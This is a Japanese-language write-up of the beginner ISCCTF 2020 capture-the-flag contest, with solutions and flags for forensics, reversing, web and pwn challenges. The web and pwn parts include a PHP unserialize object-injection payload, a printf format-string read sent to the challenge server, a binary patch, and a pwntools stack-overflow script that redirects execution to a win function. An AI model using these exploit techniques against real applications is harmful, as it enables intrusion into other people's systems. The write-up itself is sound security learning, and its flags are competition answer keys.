ISCCTF 2020 writeup
1909点で19位でした。
- Sanity check (Welcome)
- Last Logon (Forensics)
- strings (Reversing)
- Greetinjs (web)
- Yonezer (web)
- bookshop (Reversing)
- echo (Pwn)
- stack (Pwn)
- 感想
Sanity check (Welcome)
flag: ISCCTF{Th4nk_y0u_f0r_pl4y1ng_ISCCTF2020!}
Last Logon (Forensics)
regripperにかける。
flag: ISCCTF{2020/10/09_03:23:42}
strings (Reversing)
ヒントが答え!
% strings strings -n 6 /lib64/ld-linux-x86-64.so.2 =~Ms0/ libc.so.6 __cxa_finalize __libc_start_main GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable []A\A]A^A_ ISCCTF{c4n_y0u_r34d_m3?} Hello world!! (snip)
flag: ISCCTF{c4n_y0u_r34d_m3?}
Greetinjs (web)
ソース内に記載のある/js/greet.js
にフラグ。
flag: ISCCTF{S0m3t1m35_y0u_c4n_ge7_50m3_h1nt5_fr0m_7h3_l04d3d_r3s0urc35}
Yonezer (web)
クラスのシリアライズでの呼び方は知らなかったのでメモしておく。
下記は問題文のコード。
<?php function html($string) { return htmlspecialchars($string); } $flag = file_get_contents("../flag.txt"); class secret{ public function data(){ global $flag; echo($flag); } } class share_video{ public $text="Hello Everone"; public function data(){ echo("<h1>" . html($this->text) . "</h1><br>"); echo("<MARQUEE><h1>Do you like this video 👀?</h1></MARQUEE>\n"); $urls = ["https://www.youtube.com/embed/s582L3gujnw","https://www.youtube.com/embed/gJX2iy6nhHc", "https://www.youtube.com/embed/SX_ViT4Ra7k","https://www.youtube.com/embed/Zw_FKq10S8M"]; $num = rand(0,3); $url = $urls[$num]; echo ("<div id=\"all\"><iframe width=\"1000\" height=\"600\" src=\"". $url . "\"></iframe></div>"); } } $serialized = @$_GET["data"]; $hoge = @unserialize($serialized); if($hoge){ $hoge->data(); } ?>
このコードにおいて、share_video
クラスは?data=O:11:"share_video":1:{s:4:"text";s:13:"Hello%20Everone";}
というデータで呼び出せる。へぇ。
この辺りを見ながら色々試した結果、?data=O:6:"secret":0:{}
で通った。
flag: ISCCTF{s3r14r41z3_1s_us3ful}
bookshop (Reversing)
起動して、flagを買おうとすると、お金が足りないと言われる。
その時に"2000円しか持ってない"と所持金が表示されるので、引数になっている[rbp-2Ch]が所持金とわかる。
その2000円が渡されているのは下記の部分なので、ここをバイナリパッチしてFFFF
とかにして動かした。
$ ./bookshop Welcome to BookStore!! What will you do? buy(b)/status(s)/read(r) b now stock is... shop status is ... item |price |stock ----------------------------------- Kirara 380 3 MAX 380 3 Carat 490 1 Forward 590 2 Miracle 366 3 flag 65535 1 ----------------------------------- what do you want? > flag buying flag ... Thank you for your purchase!! What will you do? buy(b)/status(s)/read(r) r you having... flag Which one do you read? >flag ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}
flag: ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}
echo (Pwn)
入力された値をそのまま返すプログラム。
$ nc 34.84.45.208 4002 echo echo
$ checksec echo Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
バイナリは何もしなくてもflag.txtを読み込んでいて、そのバッファを読み出せばよい。
printfを使っていてfsbができる。
AAAABBBB
と書いたflag.txtを読み込ませてローカル実行。
%pをたくさん入れてやると、7番目に読み出したいアドレス0x555555559480
が出力されるので、
このアドレスが指す値を出力=%7$s
を入力すればよい。
$ nc 34.84.45.208 4002 %7$s ISCCTF{th3_f1r5t_4rgum3nt_0f_printf_must_b3_a_str1ng_l1t3r4l}
flag: ISCCTF{th3_f1r5t_4rgum3nt_0f_printf_must_b3_a_str1ng_l1t3r4l}
stack (Pwn)
なんか競技中アホになっていて解けなかった。今見たらできた。
ここのwin関数でflagを読み込んで表示しているが、この関数がどこからも呼ばれないのでここに飛ばせばよい。
オーバーフロー位置は120文字以降。
from pwn import * elf = ELF("./chall") io = process("./chall") #io = process("") base = b'A'*120 win = 0x4011D6 payload = b'A'*120 + p64(win) io.sendlineafter("> ", payload)
$ python pwn1.py [*] '/home/user/pwn/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './chall': pid 2789 [*] Switching to interactive mode [*] Process './chall' stopped with exit code 0 (pid 2789) Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd6@, I'm full stuck engineer!!!!!. {This is test flag.}
感想
ここのところ全然解けないことばかりで、地に落ちた自己肯定感を養いたくて、ビギナー向けCTFということで参加させてもらいました。
解けるって感覚 多分めちゃくちゃ だいじ